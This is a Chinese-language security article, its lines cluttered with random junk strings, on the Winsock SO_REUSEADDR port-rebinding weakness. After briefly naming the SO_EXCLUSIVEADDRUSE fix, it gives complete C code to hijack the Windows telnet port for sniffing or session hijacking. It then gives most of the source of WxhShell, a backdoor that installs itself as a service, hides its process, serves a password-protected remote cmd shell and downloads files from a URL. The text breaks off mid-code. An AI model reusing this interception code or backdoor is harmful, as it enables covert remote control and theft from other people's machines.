在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?xs0J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
d(XWt;K K R[t[M}q saddr.sin_family = AF_INET;
~
$& =)bc/309 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:b-(@a7> OR{"9)I bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
']D( ({%g 8hT>)WH}wo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
LlqhZetS .&dcJh*O+ 这意味着什么?意味着可以进行如下的攻击:
p}uw-$O (*tJCz`Sj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
UW3F) >?KyPp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KS_d5NvYl 8uiQm;W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
PGGJpD? JTJ4a8DE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
CcQ|0 hSH-Ck@Qy 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,-Gw#!0 L|?tcic 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x.RZ!V- yAe}O#dy 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'l;|t"R12 i/Z5/(zF #include
70~]J8T+u #include
na)_8r~ #include
m|[Hhw=f #include
|/$#G0X;H DWORD WINAPI ClientThread(LPVOID lpParam);
d8 po`J#nb int main()
ZW"J]"A {
NKws;/u WORD wVersionRequested;
ImVe71mh DWORD ret;
G
y2XjO8b WSADATA wsaData;
k6\c^%x BOOL val;
O(!'V~3 SOCKADDR_IN saddr;
WYL.J5O SOCKADDR_IN scaddr;
3#unh`3b int err;
COafVlJ,l SOCKET s;
\D=B-dREq SOCKET sc;
[<hiOB int caddsize;
^M"g5+q HANDLE mt;
JI(|sAH DWORD tid;
,*30Q wVersionRequested = MAKEWORD( 2, 2 );
aHw VoT err = WSAStartup( wVersionRequested, &wsaData );
/~:ztv\$M" if ( err != 0 ) {
78wcMQNX9 printf("error!WSAStartup failed!\n");
Kt(p| return -1;
q$P"o].EK }
paY%pU saddr.sin_family = AF_INET;
@z.!Dby -}s?!Pg> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
JYq} YG=% 7w|s8B saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#<{MtK_ saddr.sin_port = htons(23);
p[Es4S}N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_"=~aMXC.) {
"$_ypgRrSR printf("error!socket failed!\n");
_+i-) return -1;
l_WY];a }
l:+1j{ d7 val = TRUE;
xS'So7: h //SO_REUSEADDR选项就是可以实现端口重绑定的
iVRz if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'J}lnt[V {
9 +6"<r! printf("error!setsockopt failed!\n");
H;8(y4; return -1;
Qk=
w ,` }
4p]Y`];U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%{Gqhb=u\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5"+* c@L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a%kj)ah !jm
a -- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G>b1No3%k {
8}&cE#@ ret=GetLastError();
U4gZW]F printf("error!bind failed!\n");
`#hy'S:e
return -1;
2mRso.Ah }
B(~D*H2T[ listen(s,2);
9I9)5`d|Jn while(1)
.|K5b]na {
:}lE@Y,R caddsize = sizeof(scaddr);
q:(K^ //接受连接请求
|kn}iA@72p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@0G}Q if(sc!=INVALID_SOCKET)
O3Uu{'=0 {
8^T' a^Wt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?~$y3<[ if(mt==NULL)
2-]m#}zbP {
{)+/w"^. printf("Thread Creat Failed!\n");
>z2{D7 break;
|67UN U }
:?,&u,8 }
A/MOY@%G CloseHandle(mt);
tU(6%zvR }
}v:h EMO closesocket(s);
uBM1;9h WSACleanup();
R$\ieNb return 0;
^m~=<4eX }
`
H"5nQRV DWORD WINAPI ClientThread(LPVOID lpParam)
NQb?&.C {
8/=2N SOCKET ss = (SOCKET)lpParam;
(HEjmQjE SOCKET sc;
>[#4Pb7_Y unsigned char buf[4096];
T@L^RaPX SOCKADDR_IN saddr;
?h5Y^}8Qg long num;
wz ,woF| DWORD val;
]2<g"zo0 DWORD ret;
~=71){4A //如果是隐藏端口应用的话,可以在此处加一些判断
*]rV,\z: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o,d:{tt saddr.sin_family = AF_INET;
hX^XtIC= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
W uQdz&s> saddr.sin_port = htons(23);
54k
Dez if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>+1bTt/-F {
TnC'<zm9! printf("error!socket failed!\n");
tlW}lN} return -1;
5\pizD/17 }
KS%,N _F< val = 100;
DP?gozm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>uVG] {
F$caKWzny5 ret = GetLastError();
_C##U; e! return -1;
zUOYH4+ }
4)`{ L$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Aam2Y,B {
I?1^\s#L ret = GetLastError();
% $J^dF_0 return -1;
\d6A<(!=v }
{BF$N#7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u}pLO9V"` {
D =3NI printf("error!socket connect failed!\n");
R_-.:n%.z closesocket(sc);
8.vD]hO closesocket(ss);
^*ZO@GNL return -1;
uQ{M<%K }
J^u{7K, while(1)
v"^G9u {
[ [Z*n/tr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Z*k}I{0,- //如果是嗅探内容的话,可以再此处进行内容分析和记录
J~~WV<6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Alrk3I3{ num = recv(ss,buf,4096,0);
5nk]{ G> V if(num>0)
H#f
FU send(sc,buf,num,0);
\E n ^Vf else if(num==0)
RxAZ<8T_ break;
$:>K-4X\} num = recv(sc,buf,4096,0);
ZN.
#g_ if(num>0)
rx%lL send(ss,buf,num,0);
+] FdgmK: else if(num==0)
M]oaWQu break;
[z/OY&kF }
gI[xOK# closesocket(ss);
7r:!HmRl closesocket(sc);
d5h:py5 return 0 ;
5Ba eHzI }
SlmgFk!r! q>,i `* 1B 2>8N ==========================================================
C}7Sh6 JVN0];IL} 下边附上一个代码,,WXhSHELL
7%C6gU!r 6L8wsz CW ==========================================================
SI-s:%O M-eX>}CDm #include "stdafx.h"
?xIwQd0 `Os@/S #include <stdio.h>
"I
u3&mc #include <string.h>
V4_ZBeWA #include <windows.h>
&kh-2#E #include <winsock2.h>
<"6}C)G #include <winsvc.h>
caS5>wk`R #include <urlmon.h>
p?ICZg: xse8fGs #pragma comment (lib, "Ws2_32.lib")
&S/KR$^ % #pragma comment (lib, "urlmon.lib")
wD4Kil=v L\o-zNY #define MAX_USER 100 // 最大客户端连接数
iXI >>9 #define BUF_SOCK 200 // sock buffer
]5wc8Kh" #define KEY_BUFF 255 // 输入 buffer
_pL:dKfy7 7V?TLGgd$ #define REBOOT 0 // 重启
\#L}KW #define SHUTDOWN 1 // 关机
l1nrJm8 :W^
k3/t #define DEF_PORT 5000 // 监听端口
JT!-Q!O}O Ww:,O48% #define REG_LEN 16 // 注册表键长度
Ju#
- >] #define SVC_LEN 80 // NT服务名长度
Z!DGCw ).5$c0`U& // 从dll定义API
|pA3ZWm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
z]K:Amp;Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!2=<MO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z`XX[9$qm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
n' &:c}zKO `-IX"rf // wxhshell配置信息
YB*I'm3q struct WSCFG {
ibha` int ws_port; // 监听端口
O,u$L char ws_passstr[REG_LEN]; // 口令
l%L..WCT] int ws_autoins; // 安装标记, 1=yes 0=no
JZB7?@h% char ws_regname[REG_LEN]; // 注册表键名
(}
?")$. char ws_svcname[REG_LEN]; // 服务名
<A<N? `" char ws_svcdisp[SVC_LEN]; // 服务显示名
jhg0H2C8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
#L
ffmS char ws_passmsg[SVC_LEN]; // 密码输入提示信息
bu$YW' int ws_downexe; // 下载执行标记, 1=yes 0=no
,:;ZzHzR0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?`8jn$W^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
8(]*J8/wt E0G"B'x };
_e:c
22T' gA D, // default Wxhshell configuration
$9bLD
>. struct WSCFG wscfg={DEF_PORT,
opc`n}Fc "xuhuanlingzhe",
/?VwoSgV^ 1,
g[4pG`z "Wxhshell",
vq=nG]cE) "Wxhshell",
EZypqe):/C "WxhShell Service",
muc6gwBp "Wrsky Windows CmdShell Service",
54r/s#|-3 "Please Input Your Password: ",
m7!Mstu 1,
n3y`='D "
http://www.wrsky.com/wxhshell.exe",
6fY-DqF! "Wxhshell.exe"
@Jr:+|v3B };
^Y,nv,gYn W"$sN8K>) // 消息定义模块
ozB2L\D7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9vZ:oO char *msg_ws_prompt="\n\r? for help\n\r#>";
O%}?DiSl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ZMEU4?F char *msg_ws_ext="\n\rExit.";
~>SqJ&-moo char *msg_ws_end="\n\rQuit.";
:Y>FuE char *msg_ws_boot="\n\rReboot...";
x4v@o?zW char *msg_ws_poff="\n\rShutdown...";
4j_\_:$w< char *msg_ws_down="\n\rSave to ";
%\$~B?At {9B"'65o char *msg_ws_err="\n\rErr!";
:8=7)cW char *msg_ws_ok="\n\rOK!";
gjFpM.D-. (X zy~l< char ExeFile[MAX_PATH];
<x-7MU& int nUser = 0;
-?z# HANDLE handles[MAX_USER];
)xm[m vt int OsIsNt;
[0MNq]gxf ?sD4S SERVICE_STATUS serviceStatus;
7bSj[kuN SERVICE_STATUS_HANDLE hServiceStatusHandle;
sBm)D=Kll 6--t6>5 // 函数声明
YxowArV}uz int Install(void);
Y<qWG8X int Uninstall(void);
'-X[T} int DownloadFile(char *sURL, SOCKET wsh);
?*LVn~y int Boot(int flag);
~
kwS` void HideProc(void);
q<[m(]: int GetOsVer(void);
_59f.FsVR int Wxhshell(SOCKET wsl);
x/NjdK void TalkWithClient(void *cs);
x4bmV@b int CmdShell(SOCKET sock);
[|A;{F# int StartFromService(void);
G9_7jX* int StartWxhshell(LPSTR lpCmdLine);
\~X:ffb = f*o+g:]3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r:3h2J[_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
z=/&tRe
W YC[cQX // 数据结构和表定义
+9exap27 SERVICE_TABLE_ENTRY DispatchTable[] =
/#}o19(-d {
{:]u 6l {wscfg.ws_svcname, NTServiceMain},
\Vb|bw'e( {NULL, NULL}
V9Pw\K!w#\ };
P"[\p|[U k@Qd:I;; // 自我安装
&ea6YQ int Install(void)
DrK@y8 {
#?"^: ,Y char svExeFile[MAX_PATH];
OMfw# HKEY key;
[]:&WA9N strcpy(svExeFile,ExeFile);
\r1nMw 3& LIE5of // 如果是win9x系统,修改注册表设为自启动
;vG%[f`K if(!OsIsNt) {
7y4jk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wU(p_G3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
l=UXikx RegCloseKey(key);
:lW8f~! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nD.K*# u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CT?4A1[aD RegCloseKey(key);
8'qq!WR~ return 0;
/Bq4! n+ }
w"{mDL}c }
7bk`u'0% }
HSR,moI else {
Cz|F%>y# IFsh"i
// 如果是NT以上系统,安装为系统服务
;F|8#! ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
nvB<pSm if (schSCManager!=0)
[2{2w68D! {
Gv&%cq1 SC_HANDLE schService = CreateService
"^Vnnb:Z*o (
&6e A. schSCManager,
/%1-tGh wscfg.ws_svcname,
zJ)`snN| wscfg.ws_svcdisp,
% oJH 6F SERVICE_ALL_ACCESS,
K;7ea47m N SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{X5G SERVICE_AUTO_START,
ra;: SERVICE_ERROR_NORMAL,
`y>BbJqy svExeFile,
~6=aoF5"3? NULL,
'>cZ7: NULL,
068DC_ NULL,
}Gva=N: NULL,
+#L'gc NULL
"m>BE );
J@A^k1B if (schService!=0)
Qe =8x7oIP {
|G)P
I`BH CloseServiceHandle(schService);
;b}cn!U] CloseServiceHandle(schSCManager);
)>tT""yEl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%/2OP &1< strcat(svExeFile,wscfg.ws_svcname);
l?A~^4(5a/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|?v .5|1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&D91bT+L RegCloseKey(key);
2y IDyo return 0;
<Uu[nUJ }
[>LO'}% }
&r+!rL Kp CloseServiceHandle(schSCManager);
iD.p KG }
cx[[K. }
xFcW%m>9C ):\+%v^ return 1;
}{}?mQ }
wbB\~*Z) e=+q*]> // 自我卸载
:w]NN\ int Uninstall(void)
%Z8wUG {
T|p%4hH HKEY key;
1{Ik.O) @=OX7zq\h- if(!OsIsNt) {
BCO (,k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M?5v oV* RegDeleteValue(key,wscfg.ws_regname);
P{HR='2 RegCloseKey(key);
JkI|Ojmm/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hcpe~spz9| RegDeleteValue(key,wscfg.ws_regname);
.pG`/[*a RegCloseKey(key);
558!?kx$ return 0;
sf
O{.#5< }
_FU}IfG>t }
3:<[;yo }
MP_/eC ; else {
XZ2 ji_D CDY3+! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"pO**z$Z if (schSCManager!=0)
'Z|Czd8E {
^U);MH8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U] P{~ if (schService!=0)
<kJ`qbOU {
|9Y~k,rF if(DeleteService(schService)!=0) {
hY/qMK5 CloseServiceHandle(schService);
Kpkpr`:)] CloseServiceHandle(schSCManager);
He%v 4S return 0;
>3,}^`l }
{N
<< JX CloseServiceHandle(schService);
^9]g5.z: }
RBHU5]5 CloseServiceHandle(schSCManager);
0KZ$v/m }
nbW.x7 }
\~r_S A@;{#.O return 1;
e:K'e2 }
['Qh#^p If8Lt}- // 从指定url下载文件
3sgo5D-rMI int DownloadFile(char *sURL, SOCKET wsh)
/z(d!0_q|v {
Jpy~5kS HRESULT hr;
p q%inSY char seps[]= "/";
mz<X$2]? char *token;
Y-,S_59 char *file;
:QF`Orb!^ char myURL[MAX_PATH];
KpIY>k char myFILE[MAX_PATH];
fm$Qd^E|e h*Mt{A&'.& strcpy(myURL,sURL);
Ffd4c token=strtok(myURL,seps);
w]fVELU while(token!=NULL)
% .wx]:o {
B 74 file=token;
MShcZtN token=strtok(NULL,seps);
!=HxL-`j }
|[p]])
o A8k $.E GetCurrentDirectory(MAX_PATH,myFILE);
k@pEs# a strcat(myFILE, "\\");
t*fH&8( strcat(myFILE, file);
3EH@tlTl send(wsh,myFILE,strlen(myFILE),0);
qW /&. send(wsh,"...",3,0);
{].]`#4Jx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A"0Yn(awWu if(hr==S_OK)
D~TlG@Pq return 0;
v?}rA %so else
;&!QN#_ return 1;
(,|eE)+ Bc`L]< }
a'?LC)^ UR(i_T&w // 系统电源模块
t0za%q!fK< int Boot(int flag)
<dAxB$16sT {
7+Nl)d:CJ HANDLE hToken;
Jx Kd TOKEN_PRIVILEGES tkp;
/ 8u}VYE :H#D4O8UiH if(OsIsNt) {
>[~`rOU*|Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ztAC3,r] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:;IZ|hU tkp.PrivilegeCount = 1;
lanU)+U. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
I}|E_U1Qj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9ph>4u(R if(flag==REBOOT) {
We*uZ?+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$@w,9J\ return 0;
^E)8Sb9t }
Galh _;= else {
oTr,zRL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
e.Q'l/g return 0;
;iQw2XhT }
s2F[v:|Wq }
/XNC^!z6Js else {
-S&d5(R if(flag==REBOOT) {
Zqv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,s6lB0 return 0;
B,` `2\B }
N7GZ'-t^Er else {
HdTB[( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-~*kAh return 0;
N/1xc1$SB }
jthyZZ }
4F<was/ ScQ9p379 return 1;
X_)I"` }
) r"7" i W}|k!_/ // win9x进程隐藏模块
Hq&MePl[ void HideProc(void)
BAG#YZB {
nITkgN:s G7KOJZb+D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%|ioNXMu if ( hKernel != NULL )
UMMGT6s,E8 {
IR&b2FTcU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n\$.6
_@x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L+mHeS l FreeLibrary(hKernel);
#KuBEHr }
:bCswgd[ T hVq5 return;
z uo:yaO }
B`vC> @PK
1 // 获取操作系统版本
iQgr8[
SFf int GetOsVer(void)
+(`.pa z@ {
%WqUZ+yy OSVERSIONINFO winfo;
vrh2}biCR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U.=TjCW GetVersionEx(&winfo);
U} Pr1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B7S)L#l_\ return 1;
bU}l*" else
Moi>Dp return 0;
hVCxwTg^X }
e?\hz\^ mZ0_^ // 客户端句柄模块
8M]QDgd. int Wxhshell(SOCKET wsl)
}0>\%C {
vq\L9$WJ SOCKET wsh;
?5EMDawt struct sockaddr_in client;
W@+ge]9m& DWORD myID;
0Ca/[_ h?fp( while(nUser<MAX_USER)
@udc/J$ {
d6zq,x!cI int nSize=sizeof(client);
%][zn$aa| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;g?o~ev 8 if(wsh==INVALID_SOCKET) return 1;
x4`|[ k`\L-*:Ji handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f%P#. if(handles[nUser]==0)
w;kiH+& closesocket(wsh);
>#`{(^ else
$ dKo} nUser++;
gEmsPk, }
4KW_#d`t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>keYx<1 ']H*f2y return 0;
=`!#V/= }
\SWuylE RGBntp% // 关闭 socket
Y+EwBg)co void CloseIt(SOCKET wsh)
aCyn9Y$= {
Smd83W& closesocket(wsh);
R0nUS<b0 nUser--;
,0?3k ExitThread(0);
qg*xdefQ% }
Q.V+s l\u5RMS(' // 客户端请求句柄
3'7X[{uBr void TalkWithClient(void *cs)
n0uL^{B {
^~3{n !F2JT@6 SOCKET wsh=(SOCKET)cs;
kPSi6ci char pwd[SVC_LEN];
>/.Ae8I) char cmd[KEY_BUFF];
bV*q~@xh char chr[1];
B"t4{1/ int i,j;
z:08;}t 1NAtg*` while (nUser < MAX_USER) {
`R-VJR 2" c=Zurqj if(wscfg.ws_passstr) {
m'2EiYX$}\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)-i (%;,*e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#BI6+rfv| //ZeroMemory(pwd,KEY_BUFF);
, lBHA+@ i=0;
h0l_9uI while(i<SVC_LEN) {
ei[, ug' =[)2DJC // 设置超时
QD
0p fd_set FdRead;
{y<E_y
x1 struct timeval TimeOut;
H$,wg!kY! FD_ZERO(&FdRead);
QQ99sy FD_SET(wsh,&FdRead);
:x!'Eer
n TimeOut.tv_sec=8;
%'9&JsO TimeOut.tv_usec=0;
tU-jtJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wy""02j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O5JG!bGE_F :|=Xh"l" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
CSr2\ogT pwd
=chr[0]; y*lAmO
if(chr[0]==0xd || chr[0]==0xa) { 1+ V<-I@{
pwd=0; Oz=!EG|N
break; I$f'BAw
} qITd.<
k
i++; (>-(~7PR
} ,(kaC.Em
J^mm"2
// 如果是非法用户,关闭 socket oho~?.F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rts}y:44
} UJ&gm_M+kL
%vU*4mH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x'
3kHw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %;O# y3,
okBaQH2lUl
while(1) { XE;aJ'kt
c`#4}$
ZeroMemory(cmd,KEY_BUFF); ZC&4uNUr
Bs<LJzS{V
// 自动支持客户端 telnet标准 nyPW6VQ0n
j=0; W\z<p P
while(j<KEY_BUFF) { 0"u=g)3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -n6T^vf
cmd[j]=chr[0]; `^DP<&{
if(chr[0]==0xa || chr[0]==0xd) { .X6V>e)(3
cmd[j]=0; tBE-:hX*
break; '>% c@C[
} lp5b&I_
j++; ,fyqa
} S@C"tHD
zi,":KDz#
// 下载文件 'WoB\y569
if(strstr(cmd,"http://")) { P1"g62R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9~}8?kPNw=
if(DownloadFile(cmd,wsh)) Q0TKM>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6`)Ss5jzk
else u6P U(f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
83:qIfF
} KI5099 _/
else { lDG.\u
UG,n
q
switch(cmd[0]) { {ALOs^_-
-V}ZbXJD
// 帮助 Oz.Zxw
case '?': { \LDcIK=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W u693<
break; (9!kKMQW'
} :$oi P
// 安装 s *<T5Z
case 'i': { `wNJ*`
if(Install()) i$4lBy_2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q<A,S8'm
else 7x`4P|Uu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "'6R|<u=:
break; 2$oGy
} CIf""gL9
// 卸载 Xd9<`gu
case 'r': { s_`y"'^
if(Uninstall()) KnYHjJa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z';h5GNd>z
else $dHD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w7_2JS
break; ,9/s`o
} +F6R@@rWr
// 显示 wxhshell 所在路径 A*3R@G*h
case 'p': {
XOJ@-^BX
char svExeFile[MAX_PATH]; L&~>(/*7U
strcpy(svExeFile,"\n\r"); l, 1.6
strcat(svExeFile,ExeFile); #>qA&*+{n
send(wsh,svExeFile,strlen(svExeFile),0); DT#Z6A
break; x:IY6 l
} u2Qs}FX
// 重启 /4u:5G
case 'b': { xqaw00,s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hin6cac
if(Boot(REBOOT)) OTwXc*2u]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h3kBNBI )
else { 1z=}`,?>
closesocket(wsh); nB86oQ/S
ExitThread(0); m{sch`bP
} =_H)5I_\
break; .#ATI<t
} .t9zF-jk
// 关机 ak;S Ie
case 'd': { .;~K*GC
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .ZOyZnr
Z
if(Boot(SHUTDOWN)) 6c&OR2HGqO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[j7Vi8v
else { XY`2>7
closesocket(wsh); .Dg'MMBM
ExitThread(0); >eaK@u-'0
} JZrUl^8E
break; v4wXa:CJ
} N_>}UhZ
// 获取shell 1oIu~f{`
case 's': { wenJ (0L|
CmdShell(wsh); %uhhQ<zs%
closesocket(wsh); RlTVx:
ExitThread(0); We*c_;@<
break; Q Ph6
p3bg
} MBH/,Yd
// 退出 &b&o];a
case 'x': { $~*d.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L\asrdL?=
CloseIt(wsh); "n=Ih_J
break; q CB9z
} )d-{#
// 离开 -2Azpeh
case 'q': {
g ed k
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %uLyL4*L(p
closesocket(wsh); 9CTvG zkw
WSACleanup(); $U/_8^6B0
exit(1); !#8=tO
break; },LW@Z}
} K1>(Fs$
} Vl+,OBy
} kXbdR
7%4@*
// 提示信息 1
+'HKT}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )z?Kq0
} T3
k#6N.
} mF !=H%
>qI|g={M
return; I3V>VLv
} %S<( z5
DY%#E9
// shell模块句柄 TID0x/j"K5
int CmdShell(SOCKET sock) }ZWeb#\
{ o(@F37r{?
STARTUPINFO si; $R<eXDW6:
ZeroMemory(&si,sizeof(si)); DweWFipyPi
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \i#0:3s.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +C !A@
PROCESS_INFORMATION ProcessInfo; >, }m=X8
char cmdline[]="cmd"; K06/ D!RD4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yw;!KUKb|
return 0; XP-4=0 zd
} "ci<W_lx
'Kj8X{BSFb
// 自身启动模式 oos35xV.
int StartFromService(void) %lU$;cY
{ RFkJ^=}
typedef struct N]sX
r
{ 4q<:%
0M|
DWORD ExitStatus; XJ;JDch
DWORD PebBaseAddress; VSkx;P
DWORD AffinityMask; +<ey
Iw
DWORD BasePriority; cNG6 A4
ULONG UniqueProcessId; X7]vXo*
ULONG InheritedFromUniqueProcessId; <!vAqqljt
} PROCESS_BASIC_INFORMATION; Uq6..<#
t%AW0#TZ
